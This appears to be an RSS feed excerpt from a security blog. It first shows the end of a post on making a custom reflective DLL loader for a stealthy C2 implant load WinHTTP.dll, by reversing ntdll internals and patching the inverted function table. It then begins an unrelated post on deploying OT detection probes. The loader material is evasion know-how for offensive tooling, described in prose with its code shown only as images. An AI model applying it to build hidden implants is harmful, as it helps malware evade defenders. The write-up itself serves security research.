<p>The problem comes from the <span style="color: #451dc7;"><em>GetModuleHandleExA</em> </span>function. This is interesting because during my tests the custom loader worked fine with <span style="color: #451dc7;"><em>GetModuleHandle</em> </span>(that call <span style="color: #451dc7;"><em>GetModuleHandleEx</em> </span>under the hood with <em><span style="color: #451dc7;">dwFlags 2</span></em> instead of <span style="color: #451dc7;"><em>4</em></span>).</p>
<p>So, I decompiled the <span style="color: #451dc7;"><em>KERNELBASE.DLL</em></span> to find the difference of implementation when <span style="color: #451dc7;"><em>dwFlags 4</em></span> is passed to <span style="color: #451dc7;"><em>GetModuleHandleEx</em></span>.</p>
<p>The callstack shows that <span style="color: #451dc7;"><em>GetModuleHandleEx</em> </span>called the <span style="color: #451dc7;"><em>BasepGetModuleHandleExW</em> </span>function.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24354" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/03-BasepGetModuleHandleExW.png" alt="" width="354" height="257" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/03-BasepGetModuleHandleExW.png 354w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/03-BasepGetModuleHandleExW-263x191.png 263w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/03-BasepGetModuleHandleExW-54x39.png 54w" sizes="auto, (max-width: 354px) 100vw, 354px" /></p>
<p style="text-align: center;"><em>Figure 3: BasepGetModuleHandleExW code</em></p>
<p>The first part of the <span style="color: #451dc7;"><em>BasepGetModuleHandleExW</em> </span>function explains the difference of behavior between <span style="color: #451dc7;"><em>GetModuleHandle</em> </span>and <span style="color: #451dc7;"><em>GetModuleHandleEx</em> </span>with <span style="color: #451dc7;"><em>dwFlags</em></span> set to <span style="color: #451dc7;"><em>4</em></span>.</p>
<p>When the <span style="color: #451dc7;"><em>dwFlags</em></span> is set to <span style="color: #451dc7;"><em>4</em></span>, the function uses the <span style="color: #451dc7;"><em>RtlPcToFileHeader</em> </span>to find the base address of the module related to the function passed as parameters.</p>
<p>A step-by-step debug shows that this function returns the right value for a <span style="color: #451dc7;"><em>DLL</em> </span>loaded with <span style="color: #451dc7;"><em>LoadLibrary</em> </span>but always return <span style="color: #451dc7;"><em>0</em> </span>for a <span style="color: #451dc7;"><em>DLL</em> </span>loaded with the custom <span style="color: #451dc7;"><em>DLL Loader</em></span>.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Analysis of RtlPcToFileHeader</span></h4>
<p>If I had to implement a function that, given a specific address, returns the base address of the image containing the function, I would naturally use the <span style="color: #451dc7;"><em>Win32Api VirtualQuery</em></span>. So, I did not see why this function could fail.</p>
<p>The <span style="color: #451dc7;"><em>RtlPcToFileHeader</em> </span>indeed use <span style="color: #451dc7;"><em>VirtualQuery</em> </span>to get the base address:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24356" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/04-VirtualQuery-in-RtlPcToFileHeader.png" alt="" width="469" height="204" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/04-VirtualQuery-in-RtlPcToFileHeader.png 469w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/04-VirtualQuery-in-RtlPcToFileHeader-437x191.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/04-VirtualQuery-in-RtlPcToFileHeader-71x31.png 71w" sizes="auto, (max-width: 469px) 100vw, 469px" /></p>
<p style="text-align: center;"><em>Figure 4: use of VirtualQuery inRtlPcToFileHeader</em></p>
<p style="text-align: justify;">However, before getting in this execution branch it performs some additional tests :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24358" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/05-Tests-in-RtlPcToFileHeader.png" alt="" width="517" height="299" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/05-Tests-in-RtlPcToFileHeader.png 517w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/05-Tests-in-RtlPcToFileHeader-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/05-Tests-in-RtlPcToFileHeader-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/05-Tests-in-RtlPcToFileHeader-120x70.png 120w" sizes="auto, (max-width: 517px) 100vw, 517px" /></p>
<p style="text-align: center;"><em>Figure 5: Tests performed in RtlPcToFileHeader</em></p>
<p>If the execution flow goes into the <em><span style="color: #451dc7;">if(!v10)</span></em>, the function will return <span style="color: #451dc7;"><em>0</em></span>, otherwise, it has a chance to go through the <span style="color: #451dc7;"><em>VirtualQuery</em> </span>and returns the right base address.</p>
<p>When this function is used on a <span style="color: #451dc7;"><em>DLL</em> </span>loaded by the custom loader, it always falls in the wrong code path returning <span style="color: #451dc7;"><em>0</em></span>.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">LdrpInvertedFunctionTable</span></h4>
<p>The test performed by the <span style="color: #451dc7;"><em>RtlPcToFileHeader</em> </span>function is based on an analysis of the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span>.</p>
<p>This table that can be parsed using the two following structures,</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24360" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/06-Parse-inverted-table.png" alt="" width="509" height="265" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/06-Parse-inverted-table.png 509w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/06-Parse-inverted-table-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/06-Parse-inverted-table-71x37.png 71w" sizes="auto, (max-width: 509px) 100vw, 509px" /></p>
<p style="text-align: center;"><em>Figure 6: Structure used to parse the inverted table</em></p>
<p>seems to be used to handle <span style="color: #451dc7;"><em>SEH</em> </span>exceptions.</p>
<p>So, it seems that the custom loader fails to register these exceptions. Indeed, using <span style="color: #451dc7;"><em>WinDBG</em> </span>with the <em><span style="color: #451dc7;">DLL</span> </em>loaded through <span style="color: #451dc7;"><em>LoadLibrary</em></span>, it is possible to see that an entry corresponding to the<em><span style="color: #451dc7;"> WINHTTP.DLL</span> </em>file has been registered:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24362" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/07-WinDBG-analysis.png" alt="" width="599" height="108" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/07-WinDBG-analysis.png 599w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/07-WinDBG-analysis-437x79.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/07-WinDBG-analysis-71x13.png 71w" sizes="auto, (max-width: 599px) 100vw, 599px" /></p>
<p style="text-align: center;"><em>Figure 7: Analysis of the inverted table with WinDBG</em></p>
<p>The same test with the custom loaded <span style="color: #451dc7;"><em>DLL</em> </span>shows that no new entry were added to the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span>.</p>
<p> </p>
<h2 style="text-align: justify;"><span style="color: #451dc7;">Solutions</span></h2>
<h3 style="text-align: justify;"><span style="color: #451dc7;">The messy one</span></h3>
<p>The root cause of the problem is that when loading the <span style="color: #451dc7;"><em>DLL</em></span>, no additional entries are added to the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>leading to a hard failure on the <span style="color: #451dc7;"><em>RtlPcToFileHeader</em> </span>function.</p>
<p>However, the main cause of the problem is that <span style="color: #451dc7;"><em>GetModuleHandleEx</em> </span>uses <span style="color: #451dc7;"><em>RtlPcToFileHeader</em></span>.</p>
<p>While adding a new entry to the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>can be a hard problem, hijacking the <span style="color: #451dc7;"><em>GetModuleHandleEx</em> </span>function when loading the <span style="color: #451dc7;"><em>DLL</em> </span>is an easy one.</p>
<p>Indeed, during the <span style="color: #451dc7;"><em>DLL</em> </span>loading process, we have to manually resolve the exported function address, so it is possible to hijack the entry related to <span style="color: #451dc7;"><em>GetModuleHandleExA</em></span>.</p>
<p>The following code can be used instead of <span style="color: #451dc7;"><em>GetModuleHandleExA</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24364" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/08-Custom-GetModuleHandleExA.png" alt="" width="605" height="358" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/08-Custom-GetModuleHandleExA.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/08-Custom-GetModuleHandleExA-323x191.png 323w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/08-Custom-GetModuleHandleExA-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/08-Custom-GetModuleHandleExA-120x70.png 120w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: center;"><em>Figure 8: custom GetModuleHandleExA code</em></p>
<p>This code iterates over the <span style="color: #451dc7;"><em>DLL</em> </span>registered in the <span style="color: #451dc7;"><em>PEB</em> </span>linked list, check if the given function is located in the <span style="color: #451dc7;"><em>DLL</em> </span>and returns the base address of the related <span style="color: #451dc7;"><em>DLL</em></span>.</p>
<p>This solution worked for the <span style="color: #451dc7;"><em>WinHTTP.DLL</em></span> but what about other use cases or other functions based on <span style="color: #451dc7;"><em>RtlPcToFileHeader</em></span>? We would have to remap them explicitly every time which is not the best way to operate.</p>
<p> </p>
<h3 style="text-align: justify;"><span style="color: #451dc7;">The elegant one</span></h3>
<p>When two things have to work well together, we have to comply with the rules of the part we are integrating to. In this case, the custom loader should implement the feature that adds the different entries in the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span>.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Locate the use of RtlInsertInvertedFunctionTable</span></h4>
<p>The function <span style="color: #451dc7;"><em>RtlInsertInvertedFunctionTable</em> </span>can be used to add an entry in the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span>. So, if this is performed by the <span style="color: #451dc7;"><em>Windows DLL</em></span> loader, it should be possible to find a reference of this function in the <span style="color: #451dc7;"><em>LoadLibrary</em></span> callstack.</p>
<p>Indeed, the call to the <span style="color: #451dc7;"><em>RtlInsertInvertedFunctionTable</em> </span>is found in the <span style="color: #451dc7;"><em>LdrpProcessMappedModule</em> </span>function:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24366" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/09-RtlInsertInvertedFunctionTable.png" alt="" width="609" height="127" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/09-RtlInsertInvertedFunctionTable.png 609w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/09-RtlInsertInvertedFunctionTable-437x91.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/09-RtlInsertInvertedFunctionTable-71x15.png 71w" sizes="auto, (max-width: 609px) 100vw, 609px" /></p>
<p style="text-align: center;"><em>Figure 9: use of RtlInsertInvertedFunctionTable during DLL loading</em></p>
<p style="text-align: justify;">This function is called with a security cookie generated using the <span style="color: #451dc7;"><em>LdrInitSecurityCookie</em> </span>function:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24368" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/10-LdrInitSecurityCookie.png" alt="" width="442" height="124" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/10-LdrInitSecurityCookie.png 442w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/10-LdrInitSecurityCookie-437x123.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/10-LdrInitSecurityCookie-71x20.png 71w" sizes="auto, (max-width: 442px) 100vw, 442px" /></p>
<p style="text-align: center;"><em>Figure 10: Use of LdrInitSecurityCookie</em></p>
<p>While the <span style="color: #451dc7;"><em>LdrInitSecurityCookie</em> </span>is an exported function, the <em><span style="color: #451dc7;">RtlInsertInvertedFunctionTable</span> </em>is not. So, if we want to use this function, there are two choices:</p>
<ul>
<li>Using a pattern recognition algorithm to find the function in the NTDLL knowing that the pattern can change between each Windows build version (this technique has been implemented <em>here</em><a href="#_ftn6" name="_ftnref6">[6]</a>)</li>
<li>Redeveloping the function</li>
</ul>
<p>I’m not a fan of pattern recognition because it is an unreliable technique that must be maintained over each Windows build version.</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Analysis of the RtlInsertInvertedFunctionTable function</span></h4>
<p style="text-align: justify;">Decompiling the <em><span style="color: #451dc7;">RtlInsertInvertedFunctionTable</span> </em>shows the following code :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24370" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/11-RtlInsertInvertedFunctionTable.png" alt="" width="471" height="204" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/11-RtlInsertInvertedFunctionTable.png 471w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/11-RtlInsertInvertedFunctionTable-437x189.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/11-RtlInsertInvertedFunctionTable-71x31.png 71w" sizes="auto, (max-width: 471px) 100vw, 471px" /></p>
<p style="text-align: center;"><em>Figure 11: RtlInsertInvertedFunctionTable function</em></p>
<p>Among these functions, the only ones exported are the <span style="color: #451dc7;"><em>RtlAcquireSRWLockExclusive</em> </span>and <span style="color: #451dc7;"><em>RtlReleaseSrwLockExclusive</em></span>. However, the other ones are quite simple to implement:</p>
<ul>
<li><span style="color: #451dc7;"><em>RtlCaptureImageExceptionValues</em> </span>retrieves the image <span style="color: #451dc7;"><em>ExportDirectory</em></span></li>
<li><span style="color: #451dc7;"><em>LdrProtectMrData</em> </span>performs a <span style="color: #451dc7;"><em>VirtualProtect</em></span> on the <span style="color: #451dc7;"><em>.mrdata</em></span> section</li>
<li><span style="color: #451dc7;"><em>RtlpInsertInvertedFunctionTableEntry</em> </span>populates the <span style="color: #451dc7;"><em>RTL_INVERTED_FUNCTION_TABLE_ENTRY</em></span> and adds the new element to the <span style="color: #451dc7;"><em>RTL_INVERTED_FUNCTION_TABLE LdrpInvertedFunctionTable</em></span>.</li>
</ul>
<p>The only problem now is there is not any exported function that allows the retrieval of the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>object.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Locate the RtlInsertInvertedFunctionTable</span></h4>
<p>So, against all my principle, some pattern recognition algorithms need to be coded in order to locate the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>structure. However, finding this structure will be easier and more reliable than finding some instructions sequences in the whole <span style="color: #451dc7;"><em>NTDLL .text</em></span> section.</p>
<p>Indeed, there are some inputs that can be used to narrow down the lookup and avoid false positive:</p>
<ul>
<li>The structure is located in the <span style="color: #451dc7;"><em>.mrdata</em></span></li>
<li>The <span style="color: #451dc7;"><em>MaxCount</em> </span>field must be less than <span style="color: #451dc7;"><em>512</em></span></li>
<li>The <span style="color: #451dc7;"><em>Count</em> </span>field must be less than max count and more than <span style="color: #451dc7;"><em>0</em></span></li>
</ul>
<p><code>The <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>is located in the <span style="color: #451dc7;"><em>NTDLL .mrdata</em></span>. This section is a specific section that is configured with <span style="color: #451dc7;"><em>ReadOnly</em> </span>protection as the <span style="color: #451dc7;"><em>.rdata</em></span>. However, this section protection is often changed from <span style="color: #451dc7;"><em>ReadOnly</em> </span>to <span style="color: #451dc7;"><em>ReadWrite</em></span>.</code></p>
<p><code>This section is used to store sensitive structure that can be modified by the <span style="color: #451dc7;"><em>OS</em> </span>under specific circumstances (enhance the <span style="color: #451dc7;"><em>ReadWrite</em> </span>protection) but must be protected against programmatic error that could write arbitrary data in it (enhance the <span style="color: #451dc7;"><em>ReadOnly</em> </span>protection at runtime).</code></p>
<p>Then, some conditions on the different entries can be verified to ensure that the address tested represents the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>and is not a false positive. For each entry:</p>
<ul>
<li>The exception directory address must be contained in the <span style="color: #451dc7;"><em>DLL</em> </span>image</li>
<li>The exception directory address must match with the one computed from the <span style="color: #451dc7;"><em>DLL</em> </span>base image</li>
<li>The exception directory size must match with the one computed from the <span style="color: #451dc7;"><em>DLL</em> </span>base image</li>
</ul>
<p>These conditions do not ensure the unicity of the solution, but I don’t think random garbage in memory could verify all these conditions, especially the last three.</p>
<p style="text-align: justify;">The following function can be used to locate the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24372" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/12-LdrpInvertedFunctionTable-Search.png" alt="" width="605" height="700" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/12-LdrpInvertedFunctionTable-Search.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/12-LdrpInvertedFunctionTable-Search-165x191.png 165w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/12-LdrpInvertedFunctionTable-Search-34x39.png 34w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: center;"><em>Figure 12: Code looking for LdrpInvertedFunctionTable</em></p>
<p style="text-align: justify;">We now have everything we need to implement the <em><span style="color: #451dc7;">RtlInsertInvertedFunctionTable</span></em>.</p>
<p> </p>
<h4 style="text-align: justify;"><span style="color: #451dc7;">Implement the RtlInsertInvertedFunctionTable</span></h4>
<p>The <span style="color: #451dc7;"><em>RtlInsertInvertedFunctionTable</em> </span>can be implemented as the following:</p>
<ul>
<li>Locate the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em> </span>as explained before</li>
<li>Unprotect the <span style="color: #451dc7;"><em>.mrdata</em></span> section from <span style="color: #451dc7;"><em>ReadOnly</em> </span>to <span style="color: #451dc7;"><em>ReadWrite</em> </span>using <span style="color: #451dc7;"><em>VirtualProtect</em></span></li>
<li>Locate the index where the new <span style="color: #451dc7;"><em>DLL</em> </span>entry must be stored (these entries are sorted by image base address)</li>
<li>Write the <span style="color: #451dc7;"><em>RTL_INVERTED_FUNCTION_TABLE_ENTRY</em> </span>element in the <span style="color: #451dc7;"><em>LdrpInvertedFunctionTable</em></span></li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-24374" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/13-RtlpInsertInvertedFunctionTableEntry-Implementation.png" alt="" width="605" height="659" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/13-RtlpInsertInvertedFunctionTableEntry-Implementation.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/13-RtlpInsertInvertedFunctionTableEntry-Implementation-175x191.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/13-RtlpInsertInvertedFunctionTableEntry-Implementation-36x39.png 36w" sizes="auto, (max-width: 605px) 100vw, 605px" /></p>
<p style="text-align: center;"><em>Figure 13:  RtlpInsertInvertedFunctionTableEntry implementation</em></p>
<p>This code can be added to the <em>DarkLoadLibrary</em><a href="#_ftn7" name="_ftnref7">[7]</a> project to get a fully functional <em><span style="color: #451dc7;">DLL</span> </em>Loader.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;"><span style="color: #451dc7;">Conclusion</span></h2>
<p>When developing a custom <span style="color: #451dc7;"><em>C2</em></span>, the most difficult part is not getting something functional. This is mainly basic development. The most difficult and interesting part is to get something <em><span style="color: #451dc7;">OPSEC</span></em>.</p>
<p>This part implies a deep understanding of Windows internals in order to understand what <em><span style="color: #451dc7;">IOC</span> </em>will be raised, how it can be bypassed and how this custom part can be adapted to be fully integrated with the native <span style="color: #451dc7;"><em>Windows</em> </span>ecosystem.</p>
<p>This blogpost does not only show how a specific part of the <em><span style="color: #451dc7;">Windows DLL</span></em> loader can be reimplemented, but how <span style="color: #451dc7;"><em>IOC</em> </span>can be hunted, and how the <span style="color: #451dc7;"><em>Windows</em> </span>internals can be reversed to adapt our work to the ecosystem.</p>
<p> </p>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> <a href="https://otterhacker.github.io/Malware/Reflective DLL injection.html" data-wplink-url-error="true">https://otterhacker.github.io/Malware/Reflective DLL injection.html</a></p>
<p><a href="#_ftnref2" name="_ftn2">[2]</a> <a href="https://posts.specterops.io/perfect-loader-implementations-7d785f4e1fa">https://posts.specterops.io/perfect-loader-implementations-7d785f4e1fa</a></p>
<p><a href="#_ftnref3" name="_ftn3">[3]</a> <a href="https://otterhacker.github.io/Malware/Reflective DLL injection.html" data-wplink-url-error="true">https://otterhacker.github.io/Malware/Reflective DLL injection.html</a></p>
<p><a href="#_ftnref4" name="_ftn4">[4]</a> <a href="https://twitter.com/_batsec_">https://twitter.com/_batsec_</a></p>
<p><a href="#_ftnref5" name="_ftn5">[5]</a> <a href="https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/">https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/</a></p>
<p><a href="#_ftnref6" name="_ftn6">[6]</a> <a href="https://github.com/strivexjun/MemoryModulePP/blob/master/MemoryModulePP.c">https://github.com/strivexjun/MemoryModulePP/blob/master/MemoryModulePP.c</a></p>
<p><a href="#_ftnref7" name="_ftn7">[7]</a> <a href="https://github.com/bats3c/DarkLoadLibrary">https://github.com/bats3c/DarkLoadLibrary</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/">LoadLibrary madness: dynamically load WinHTTP.dll</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2024/10/loadlibrary-madness-dynamically-load-winhttp-dll/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Detection probes for OT : The keys to a successful deployment</title>
		<link>https://www.riskinsight-wavestone.com/en/2024/10/detection-probes-for-ot-the-keys-to-a-successful-deployment/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2024/10/detection-probes-for-ot-the-keys-to-a-successful-deployment/#respond</comments>
		
		<dc:creator><![CDATA[Madeline Salles]]></dc:creator>
		<pubDate>Wed, 16 Oct 2024 08:39:35 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=24270</guid>

					<description><![CDATA[<p>Enterprise demand for detection probes has been rising in recent years, particularly in the industrial sector. This can be for many reasons: regulatory or contractual constraints, need for incident detection capabilities on the industrial network, desire for greater visibility on...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2024/10/detection-probes-for-ot-the-keys-to-a-successful-deployment/">Detection probes for OT : The keys to a successful deployment</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Enterprise demand for detection probes has been rising in recent years, particularly in the industrial sector. This can be for many reasons: regulatory or contractual constraints, need for incident detection capabilities on the industrial network, desire for greater visibility on industrial assets …  <br />So, let’s answer the question: <strong>Should you embark on the OT probes journey? And if so, how could you achieve a successful probes service roll-out?  </strong></p>
<h1>OT Probes: A tool for monitoring industrial networks </h1>
<p><img loading="lazy" decoding="async" class="size-full wp-image-24238 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-092737.png" alt="" width="1309" height="248" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-092737.png 1309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-092737-437x83.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-092737-71x13.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-092737-768x146.png 768w" sizes="auto, (max-width: 1309px) 100vw, 1309px" /></p>
<p style="text-align: center;"><i>Figure 1: Listening to the network to assess and detect</i> </p>
<p>A detection probe is a piece of equipment, virtual or physical, connected to the information system (IS) in order to map and monitor it. It consists of sensors distributed across the network to collect data. And typically, a central console to aggregate, correlate and analyse this data. Probes for industrial environments &#8211; which we will refer to simply as OT probes here &#8211; are characterized by their passive, non-invasive listening on the network, and their understanding of industrial protocols and behaviour. Many players are present on the market, you can find our market overview here: <a href="https://www.riskinsight-wavestone.com/en/2021/03/detection-probes-in-industrial-environments-our-vision-of-the-market/">https://www.riskinsight-wavestone.com/2021/03/les-sondes-de-detection-en-milieu-industriel-notre-vision-du-marche/</a>  </p>
<p>All their probe solutions work on the same principle: network traffic is collected using flow duplication (SPAN, ERSPAN …) or physical duplicator like taps, etc. Packets are inspected in real time to provide several types of data: flow inventory and mapping, asset and vulnerability management, and finally anomaly and incident detection. </p>
<p>This variety of possible use cases of these data and the types of users involved (operational and business team, cybersecurity team, etc.) is what makes OT probes so popular.  </p>
<p>However, procuring and deploying these solutions are costly. The organisation must have a clear understanding of their needs, a view of potential users and the exact added value required before embarking on such a project. </p>
<h1>Let’s take two very different examples </h1>
<p>Imagine two companies are considering deploying OT probes on their industrial sites.  </p>
<h2>1st Company: WavePetro </h2>
<p>WavePetro is a company with a large sensitive site, which has a good level of cybersecurity maturity, as well as a segmented architecture. The company wants to deploy OT probes to be compliant with regulations and to improve its detection capabilities. </p>
<p>Considering its architecture and detection requirements, numerous listening points will be needed on the site. WavePetro can rely on its local teams for expertise and site knowledge to support this complexity. </p>
<h2>2nd Company: RenewStone </h2>
<p>RenewStone has numerous scattered and unmanned small sites with different cybersecurity maturity levels. The sites are connected to central Group infrastructure. <br />The company wants to deploy OT probes to gain visibility on its sites using inventory and vulnerability management features.  </p>
<p>With this configuration, RenewStone needs to standardize a turnkey OT probe roll-out and run service with as little local complexity as possible.  </p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-24236 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094004.png" alt="" width="1219" height="603" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094004.png 1219w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094004-386x191.png 386w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094004-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/10/Capture-decran-2024-10-16-094004-768x380.png 768w" sizes="auto, (max-width: 1219px) 100vw, 1219px" /></p>
<p style="text-align: center;"><i>Figure 2: 2 companies, 2 reasons to deploy OT probes, 2 implementation plans</i> </p>
<h1>What is required for a successful roll-out? </h1>
<p>Although these two companies have different drivers and maturities, they will go through the same 5 key stages, albeit with different approaches.  </p>
<h2>1.Perform a Proof of Concept </h2>
<p>Let’s start with the first step: the proof of concept. The objective for both companies is to test the feasibility and challenge the value this tool brings to the organisation. </p>
<p>While WavePetro have to validate feasibility on a reduced perimeter in the factory, RenewStone has to validate OT probe added value validation on few different sites. </p>
<p>The PoC is key in identifying what can be valuable for both companies. To get the most of it, it is important to: </p>
<ul>
<li data-leveltext="-" data-font="Calibri" data-listid="3" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="0" data-aria-level="1">Adapt vendors selection to your needs: The market is quite diversified between pure players, those specializing in industry or extending their IT solutions …  <br /><i>Do I want strong detection capabilities? Do I want a managed service? Do I want a unified solution for IT and OT?</i>  </li>
<li>Select the PoC scope: Identify a representative scope with resources to test on so that results can be reproduced at scale.  </li>
<li data-leveltext="-" data-font="Calibri" data-listid="3" data-list-defn-props="{&quot;335551671&quot;:0,&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Calibri&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;-&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}" aria-setsize="-1" data-aria-posinset="2" data-aria-level="1">Draft a target architecture before the PoC: This allows to test an architecture that will be representative of what would be deployed at scale, in order to validate the tests carried out. </li>
</ul>
<p>PoC is an essential step to ensure that the tool provides value to your company, but also to be able to convince businesses to deploy especially when not constrained by regulations. </p>
<h2>2.Build the associated operating model  </h2>
<p>Even from the early stages, before rollouts, it is important to remember that the end goal of the probes deployment will be to get value from its operation. To be able to do so, it is essential to: </p>
<ul>
